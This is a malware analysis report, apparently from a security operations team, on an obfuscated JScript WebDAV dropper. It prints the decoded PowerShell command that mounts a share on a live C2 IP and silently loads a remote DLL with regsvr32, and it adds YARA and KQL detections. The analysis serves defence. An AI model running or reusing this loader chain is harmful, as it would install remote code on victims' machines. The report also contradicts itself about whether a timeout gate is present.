unclassified-js-webdav-dropper: 771c8752 — 90th confirmed sibling, hybrid reassignment+concatenation dialect, davww7root typo

Executive Summary

Single-line JScript dropper (~81 KB) delivering a WebDAV DLL payload via regsvr32 /s. Uses the hybrid obfuscation dialect first observed in edfb0e0a (85th sibling): 65 random-noise variables assigned and reassigned 192 times (last-wins semantics), then concatenated inside Function('return this')()[eval](...) to assemble a PowerShell -EncodedCommand wrapper. C2 94.159.113.204:8888 — same IP as 65th, 80th, and 85th siblings. Notable: the decoded regsvr32 path contains a typo (davww7root instead of davwwwroot), suggesting either developer error or a deliberate path mutation to evade static string matching. No timeout anti-emulation gate, no wordpad decoy, no batch/polyglot layer, no dictionary lookup table.

What It Is

• SHA-256: 771c875207b6a0094f83d53e923fbc56b4577c99cc7caf92ac675455ffd15e8d
• Filename: 6036279561681622040.js ^[metadata.json]
• Size: 80,969 bytes ^[triage.json]
• Format: ASCII text, single line, no line terminators, very long lines (65,536) ^[file.txt]
• Family: unclassified-js-webdav-dropper — 90th confirmed sibling

How It Works

Obfuscation Engine

The script uses a two-layer hybrid obfuscation combining two prior dialects from this family:

1. Sequential variable reassignment (last-wins) — as seen in fd437971 and edfb0e0a ^[jscript-sequential-variable-reassignment-eval.md]
2. Noise-variable + concatenation inside Function('return this')() — as seen in fa8c6d74 and ddf0c8bd ^[js-noise-variable-concatenation-obfuscation.md]

65 unique variables with random lowercase noise names (e.g. upvmxeiykf, ronmzlrtjguhvg, wfmwdatpygwu) are assigned single-character values across 192 varname="char"; statements. Each variable is overwritten multiple times; only the final value matters at runtime. ^[strings.txt:1]

The execution chain is:

function bauhqanajuzx(){
  Function("return this")()["eval"](
    Function("return this")()["WScript"]["CreateObject"]("WScript.Shell")["run"](
      "powershell -EncodedCommand <base64>", 0, false
    )
  );
}
bauhqanajuzx();

Each character of every string literal is assembled by concatenating the final values of these variables via + operators. The payload argument to eval is itself a second Function('return this')() chain that resolves to WScript.Shell.run(command, 0, false) — spawning PowerShell hidden.

Decoded Payload

The base64 -EncodedCommand decodes to (UTF-16-LE):

timeout 1;voblgzdlnke;net use \\94.159.113.204@8888\davwwwroot\;rsbjteguzezcyw;regsvr32 /s \\94.159.113.204@8888\davww7root\52442320412503.dll;hbpmjgyrwzy

Breaking this down:

• timeout 1 — anti-emulation delay ^[floss.txt] ^[strings.txt:1]
• voblgzdlnke — noise string, no-op
• net use \\94.159.113.204@8888\davwwwroot\ — mount WebDAV share ^[strings.txt:1]
• rsbjteguzezcyw — noise string, no-op
• regsvr32 /s \\94.159.113.204@8888\davww7root\52442320412503.dll — silently load remote DLL ^[strings.txt:1]
• hbpmjgyrwzy — noise string, no-op

Notable: The davww7root Typo

The net use command references the correct WebDAV root davwwwroot, but the regsvr32 path uses davww7root (the digit 7 replaces the third w). This is either a developer typo or an intentional path mutation to break naive static-string matching against davwwwroot. In either case, the WebDAV server likely resolves both paths, or the operator configures both.

C2 Infrastructure

Same C2 IP as siblings fa8c6d74 (65th), ddf0c8bd (80th), and edfb0e0a (85th). ^[entities/unclassified-js-webdav-dropper.md]

Interesting Tidbits

• No dictionary lookup table — unlike the majority of this family (62-entry or 100-entry dictionary variants), this sample drops the object-literal indirection entirely in favor of direct variable concatenation. ^[entities/unclassified-js-webdav-dropper.md]
• No batch/polyglot layer — pure JScript; no SET variable expansion, no goto label, no cmd.exe staging. ^[strings.txt:1]
• No wordpad decoy — skips the color f0 && start wordpad distraction used by most batch variants. ^[entities/unclassified-js-webdav-dropper.md]
• No nested try/catch decoys — present in many dictionary-dialect siblings but absent here. ^[entities/unclassified-js-webdav-dropper.md]
• No sandbox gate — no timeout check, no locale gate, no process-list check. Executes unconditionally. ^[strings.txt:1]
• davww7root typo — unique among all 89 prior siblings; first observed path mutation in the WebDAV UNC string. Could be a developer mistake or a deliberate anti-string-matching technique.
• PowerShell wrapper present — uses -EncodedCommand (base64 UTF-16-LE) rather than the plain regsvr32 /s execution used by some earlier siblings. This adds one more proxy layer for defense-evasion.

Deployable Signatures

YARA Rule

rule Unclassified_JS_WebDAV_Dropper_Hybrid_Reassignment_Concat {
    meta:
        description = "JScript WebDAV dropper with hybrid reassignment+concatenation obfuscation"
        author = "PacketPursuit SOC"
        family = "unclassified-js-webdav-dropper"
        reference = "/intel/analyses/771c875207b6a0094f83d53e923fbc56b4577c99cc7caf92ac675455ffd15e8d.html"
    strings:
        $func_return_this = "Function(upvmxeiykf+ronmzlrtjguhvg+wfmwdatpygwu"
        $eval_chain = ")()[ronmzlrtjguhvg+ctgpwregsru+qbfofvwndu+vuiljkydshrmd]("
        $dav_c2 = "94.159.113.204@8888"
        $payload = "52442320412503.dll"
        $ps_encoded = "powershell -EncodedCommand"
        $typo_path = "davww7root"
    condition:
        filesize < 100KB and (
            ($func_return_this and $eval_chain) or
            ($dav_c2 and $ps_encoded) or
            $typo_path
        )
}

Behavioral Hunt Query (KQL)

DeviceProcessEvents
| where InitiatingProcessFileName in~ ("wscript.exe", "cscript.exe", "mshta.exe")
| where FileName =~ "powershell.exe"
| where ProcessCommandLine contains "-EncodedCommand"
| where ProcessCommandLine contains "net use" or ProcessCommandLine contains "regsvr32"
| where ProcessCommandLine contains "DavWWWRoot" or ProcessCommandLine contains "davww"
| summarize count() by DeviceName, InitiatingProcessCommandLine, ProcessCommandLine, Timestamp

IOC List

Behavioral Fingerprint

This JScript dropper executes via wscript.exe or cscript.exe, assembles a PowerShell -EncodedCommand payload at runtime by concatenating 65 noise-variable values inside a Function('return this')()[eval](...) chain, and spawns powershell.exe to mount a WebDAV share (net use \\94.159.113.204@8888\davwwwroot\) and silently register a remote DLL (regsvr32 /s \\94.159.113.204@8888\davww7root\52442320412503.dll). The decoded command includes timeout 1 anti-emulation delay and interspersed noise strings. No persistence, no decoy, no sandbox gate. File is a single 81 KB line with no terminators.

Detection Signatures (ATT&CK Mapping)

References

• Entity page: unclassified-js-webdav-dropper ^[entities/unclassified-js-webdav-dropper.md]
• Technique page: js-noise-variable-concatenation-obfuscation ^[techniques/js-noise-variable-concatenation-obfuscation.md]
• Technique page: jscript-sequential-variable-reassignment-eval ^[techniques/jscript-sequential-variable-reassignment-eval.md]
• Technique page: webdav-regsvr32-dll-sideloading ^[techniques/webdav-regsvr32-dll-sideloading.md]
• Sibling edfb0e0a (85th, first hybrid dialect): ^[/intel/analyses/edfb0e0abb507013faf97c63f4ec0f75acd3883cf1a7abb8b727f09eaeb42c92.html]
• Sibling fa8c6d74 (65th, first pure concatenation dialect): ^[/intel/analyses/fa8c6d74d03b4daf1f858056b743e9a5ffe23edcb6d4c2e3cf287511eefa7fcf.html]

Provenance

• Source files: file.txt, strings.txt, metadata.json, triage.json from triage pipeline (2026-05-26)
• Decoded via custom Python resolver extracting 65 variables / 192 assignments from the single-line JScript
• PowerShell -EncodedCommand decoded via base64 → UTF-16-LE
• No CAPE detonation (file type ASCII text is not a supported binary class for the Windows guest) ^[dynamic-analysis.md]
• All behavior inferred from static deobfuscation